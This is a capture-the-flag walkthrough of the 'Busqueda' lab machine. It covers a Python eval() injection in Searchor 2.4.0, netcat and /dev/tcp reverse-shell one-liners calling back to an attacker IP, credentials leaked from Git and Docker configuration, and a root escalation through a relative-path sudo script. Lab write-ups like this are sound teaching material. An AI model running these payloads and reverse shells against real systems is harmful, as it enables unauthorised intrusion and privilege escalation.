Overview
Busqueda is an easy Linux machine that demonstrates how unsafe use of Python eval() in a web application can lead to command injection, followed by credential discovery in a Git configuration, Gitea enumeration, Docker configuration leakage, and root access through a sudo script that uses a relative path.
Attack Chain
- Enumerate open services and identify
SSHandHTTP - Discover the
searcher.htbvirtual host - Identify the web application as
FlaskusingSearchor 2.4.0 - Exploit unsafe Python
eval()handling for command injection - Use a reverse shell payload to gain access as
svc - Recover Gitea credentials from
/var/www/app/.git/config - Reuse the password over
SSHassvc - Enumerate sudo permissions and identify
system-checkup.py - Use the sudo script to inspect Docker container configuration
- Recover the Gitea Administrator password from the container config
- Review the script source in Gitea and identify a relative path issue
- Create a malicious
full-checkup.shand execute it through sudo to gain root
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify the exposed services.
export IP=10.129.10.36; export NAME=BUSQUEDA; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
The open TCP ports are:
22,80
We then run a service and version scan against the discovered ports.
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

Findings
The scan shows a small attack surface with SSH (22) and HTTP (80) exposed. The web service redirects to searcher.htb, so we add the hostname to /etc/hosts before continuing.
echo "$IP searcher.htb" | sudo tee -a /etc/hosts
Web Enumeration
Browsing to searcher.htb reveals a search application that lets users submit queries across multiple engines and platforms.

At the bottom of the page, the application identifies itself as a Flask application powered by Searchor 2.4.0.

This version of Searchor is vulnerable to command injection due to unsafe handling of user input inside an eval() call. The vulnerable pattern places the query inside a Python expression, which means a crafted payload can break out of the string and execute code.

The basic idea is to close the current string with '), append our own Python expression, and then use # to comment out the rest of the original line. Conceptually, the expression becomes:
search('') our command here #
The public exploit examples suggest using Python functions such as:
__import__('os').system('<CMD>')
or:
__import__('os').popen('<CMD>').read()
Because the rest of the eval() expression expects a string-like result, we concatenate the command result with str(). A simple test payload for command execution is:
') + str(__import__('os').system('id')) #
Submitting the payload through the search form confirms that we can inject Python code into the backend expression.

The response confirms command injection.

Foothold
Reverse Shell Payload
With command injection confirmed, we move the request into Burp Suite so the payload can be modified and tested more quickly.
First, we check whether nc is available on the target by running which nc. The response shows that Netcat exists at /usr/bin/nc.

Since Netcat is available, we use an mkfifo reverse shell payload.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 443 >/tmp/f
A penelope listener is started on port 443, and the reverse shell payload is sent through the vulnerable request in Burp Suite.

This returns a shell as the svc user.

The user flag can now be read.
cat /home/svc/user.txt

Privilege Escalation
Git Configuration Disclosure
While enumerating the web application directory, we find credentials inside /var/www/app/.git/config. The same file also reveals another virtual host, gitea.searcher.htb.

The discovered Gitea credentials are:
cody:jh1usoih2bkjaspwe92
The virtual host is added to /etc/hosts.
echo "$IP gitea.searcher.htb" | sudo tee -a /etc/hosts
Password Reuse
The only local user we have seen so far is svc, so we test whether the discovered password has been reused for SSH access.
hydra -l svc -p jh1usoih2bkjaspwe92 $IP ssh
The login succeeds, confirming password reuse.

The SSH credentials are:
svc:jh1usoih2bkjaspwe92
Next, we use the original cody credentials to sign in to gitea.searcher.htb.

The account only shows cody’s involvement in the repository, so we return to the SSH session for more local enumeration.
Sudo Permissions
Running sudo -l shows that svc can execute /usr/bin/python3 /opt/scripts/system-checkup.py * with elevated privileges.

We run the allowed command with a wildcard to inspect the available options.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
The script exposes three options.

Docker Enumeration
We start with the docker-ps option.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
This shows two running containers: gitea and mysql.

The next option is docker-inspect.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
The script expects a format argument and a container_name argument. The Docker documentation shows how to supply a format string for inspecting container configuration.

Using the correct format string and the container ID, we inspect the Gitea container configuration.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
The command returns the container configuration in JSON format.

The output is copied back to the attacking machine and formatted with jq.
cat gitea_docker_config.json | jq
Inside the configuration, we find another hardcoded password.

The recovered Gitea Administrator password is:
yuiu1hoiu4i5ho1uh
Gitea Administrator Access
Using the new password, we authenticate to Gitea as Administrator.

Inside the repository, we navigate to the /scripts folder and find the system-checkup.py script that svc can run with sudo privileges.

Relative Path Abuse
Back on the target, we test the full-checkup option.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
The script returns an error.

Reviewing the source code in Gitea explains the issue. The script attempts to execute ./full-checkup.sh using a relative path. Because that file does not exist in the current working directory, the command fails.

This creates a privilege escalation path. If we create our own full-checkup.sh in the current directory and run the sudo command again, the script should execute our file as root.
The malicious script contains a simple Bash reverse shell.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/443 0>&1
The file is made executable.

With a penelope listener running on port 443, we execute the allowed sudo command again.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

This returns a shell as root.

The root flag can now be read.
cat /root/root.txt

Key Takeaways
Busqueda shows how dangerous unsafe eval() usage can be when user input is inserted into Python expressions. The initial web command injection provided access as svc, but the full compromise came from a chain of operational mistakes: credentials stored in Git configuration, password reuse, secrets exposed through Docker configuration, and a sudo script that executed a relative path as root.